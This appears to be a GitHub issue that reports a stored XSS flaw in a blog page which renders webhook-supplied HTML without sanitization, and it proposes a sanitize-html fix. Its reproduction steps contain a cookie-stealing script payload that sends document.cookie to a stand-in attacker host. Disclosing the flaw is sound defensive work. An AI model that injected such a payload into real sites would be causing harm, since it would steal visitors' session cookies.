Skip to content

Blog post HTML rendered without sanitization (stored XSS) #57

@FuturMix

Description

@FuturMix

Summary

apps/logicsrc-web/src/app/blog/[slug]/page.tsx line 117 renders blog post HTML directly via dangerouslySetInnerHTML={{ __html: post.html }} without any sanitization.

Impact

The post.html field is stored verbatim from the autoblog webhook (/api/webhooks/blog/route.ts). If the upstream blog source is compromised or the webhook secret is leaked, an attacker can inject arbitrary JavaScript that executes in every visitor's browser, including users with active CoinPay session cookies.

Steps to Reproduce

  1. Send a POST to /api/webhooks/blog with a valid signature and a post containing:
    <p>Hello</p><script>document.location='https://evil.example/?c='+document.cookie</script>
  2. Visit /blog/<slug> — the script executes in the visitor's browser.

Suggested Fix

Add sanitize-html and sanitize post.html before rendering:

import sanitizeHtml from "sanitize-html";

// In the component:
const cleanHtml = sanitizeHtml(post.html, {
  allowedTags: sanitizeHtml.defaults.allowedTags.concat(["img", "h1", "h2", "h3"]),
  allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, img: ["src", "alt", "width", "height"] },
});
// ...
dangerouslySetInnerHTML={{ __html: cleanHtml }}

Severity: Critical

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions